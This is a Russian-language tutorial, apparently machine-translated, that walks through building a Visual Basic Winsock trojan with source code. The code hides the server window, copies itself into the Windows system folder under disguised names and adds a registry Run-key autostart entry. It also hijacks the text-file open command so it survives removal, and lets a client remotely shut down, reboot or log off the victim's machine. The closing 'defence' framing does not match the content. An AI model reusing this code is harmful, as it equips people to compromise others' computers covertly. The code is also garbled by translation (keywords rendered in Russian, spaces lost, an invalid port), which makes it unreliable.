Сначала создайте новый проект с именем «Сервер», создайте новую форму с именем «Сервер», добавьте в форму элемент управления Winsock, задайте для имени значение «sckServer» и установите в качестве протокола протокол TCP/ip по умолчанию.
Далее возвращаемся в модуль формы Сервера и добавляем следующий код:
->PRivateSubform_Load()
Со мной
.sckServer.LocalPort=88917'Локальный порт (ха-ха! Мой день рождения!)
.sckServer.Listen'Начать прослушивание
КонецС
EndSub
'Примите запрос на подключение клиента.
PrivateSubsckServer_ConnectionRequest (ByValrequestIDasLong)
Со мной
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(идентификатор запроса)
КонецС
EndSub->
Далее давайте создадим клиентскую программу: создадим новый проект с именем Client, назовем форму Client, добавим к ней элемент управления Winsock с именем sckClient, а протокол — протокол TCP/IP. Добавьте еще одну кнопку cmdConnect и добавьте код в модуль формы:
->PrivateSubform_Load()
Со мной
.sckClient.RemoteHost=127.0.0.1'Установите удаленный IP-адрес. В этом примере установите его для локального компьютера.
.sckClient.RemotePort=88917'Удаленный порт совпадает с настройкой на сервере.
КонецС
EndSub
PrivatesubcmdConnect_Click()
Сккклиент.Коннект
Endsub->
На этом этапе, когда мы нажимаем кнопку «Подключиться», наши два проекта могут взаимодействовать, но они не видны. Вы можете добавить код в событие sckClient_Connect в клиенте: debug.printConnetionuccessful, чтобы увидеть его.
Это только первый шаг, и здесь вообще нечего делать. Давайте добавим им функционал. Для простоты в этой статье реализовано лишь несколько небольших функций: выключение, перезапуск и выход из системы. Хорошо, давайте начнем!
Создайте новый модуль в проекте сервера с именем modApi. Этот модуль содержит некоторые функции API:
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
ПабликтипеRECT
LeftAsLong
ТопAsLong
ПравоAsLong
ВнизуAsLong
КонечныйТип->
Примечание. При программировании между двумя сокетами важным событием для связи является событие DataArrival, которое используется для получения удаленных данных.
Затем поместите три кнопки в форму «Клиент» проекта «Клиент», а именно cmdExit, cmdLogoff и cmdReboot. Они используются для удаленного завершения работы, выхода из системы и перезапуска. Добавьте следующие коды соответственно:
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
EndSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
EndSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
EndSub->
Все запросы направляются на сервер. Теперь перейдите к проекту Сервера: добавьте событие DataArrial sckServer на Сервере для получения запроса клиента.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
Димстрдатаасстринг
Со мной
'Получить информацию, запрошенную клиентом
.sckServer.GetDatastrData
Выборкасестрдата
ДелоВыход
'Неисправность
CallExitWindowXXX (EWX_SHUTDOWN, 0)
ДелоПерезагрузка
'Перезапуск
CallExitWindowXXX(EWX_REBOOT,0)
ДелоВыход из системы
'Выйти
CallExitWindowXXX (EWX_LOGOFF, 0)
КонецВыбрать
КонецС
EndSub->
Хорошо, теперь мы реализовали функцию, но пока нет, мы хотим, чтобы она работала «за кулисами». Это просто: добавьте предложение me.hide к событию form_Load на сервере. К счастью, сейчас это незаметно, но всем известно, что троянец запускается автоматически при включении компьютера. Почему это происходит и как это достигается? Добавить его в группу автозагрузки в реестре? Да, хорошо, пойдем со мной!
Вернитесь к modApi в проекте сервера и добавьте следующую функцию API:
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Процесс, который записывает данные в группу автозагрузки реестра.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDasLong
DimsKeyValAsString
sKey=Systrsy'Запустите ключ в группе и найдите аналогичный системному файлу.
sKeyVal=C:/windows/system/systrsy.exe'Путь к файлу трояна. Чтобы получить системный путь, можно использовать GetSystemDirectory.
результат = RegOpenKey (HKEY_LOCAL_MACHINE, _
Программное обеспечение/Microsoft/Windows/CurrentVersion/Run,hKeyID)
Еслирезультат=0Тогда
результат = RegSetvalueEx (hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len (sKey) 1)
КонецЕсли
EndSub->
Ну, вот и все. Однако задумывались ли вы когда-нибудь об этом: если вы не новичок и удалите его из реестра, не будет ли наш тяжелый труд потрачен зря? Нет, вы должны сделать так, чтобы его невозможно было удалить, даже если он его найдет. Пожалуйста, посмотрите на код ниже:
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDasLong
DimskeyAsString
DimskeyValAsString
skey = txtfile/shell/open/command
skeyVal=C:/windows/system/txtView.exe
результат = RegOpenKey (HKEY_CLASSES_ROOT, skeyVal, hKeyID)
Еслирезультат=0Тогда
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
КонецЕсли
EndSub->
Многие друзья, должно быть, сразу поняли, что изначально он был связан с txt-файлом, что совсем неплохо, но откуда взялся C:/windows/system/txtView.exe Наш троян — C:/windows/system? /systrsy.exe. Это клон нашего троянского коня.
Хорошо, вернитесь к форме form_Load сервера проекта Server и добавьте следующий код:
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/система
OnErrorResumeNext
'Скопируйте файл в Systrsy.exe в системном каталоге
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeNext
Скопируйте файл в txtView.exe в системном каталоге.
FileCopysCurrentPath,sSystemDir&/txtView.exe->
вызов
->Группа запуска вызовов
ВызовWriteToTxt
'Определить, запущена ли программа
ЕслиApp.PrevInstanceThen
'Выход, если уже запущен.
Конец
КонецЕсли->
Уведомление:
1. При работе с портами лучше всего использовать порты высокого класса, иначе они будут конфликтовать с некоторыми часто используемыми портами.
2. При первом использовании VB.NET лучше всего прочитать соответствующие книги.
->
Выше описано, как использовать Visual Basic для предотвращения атак троянов. Надеюсь, вы все знаете себя и врага и примете меры предосторожности, прежде чем они произойдут!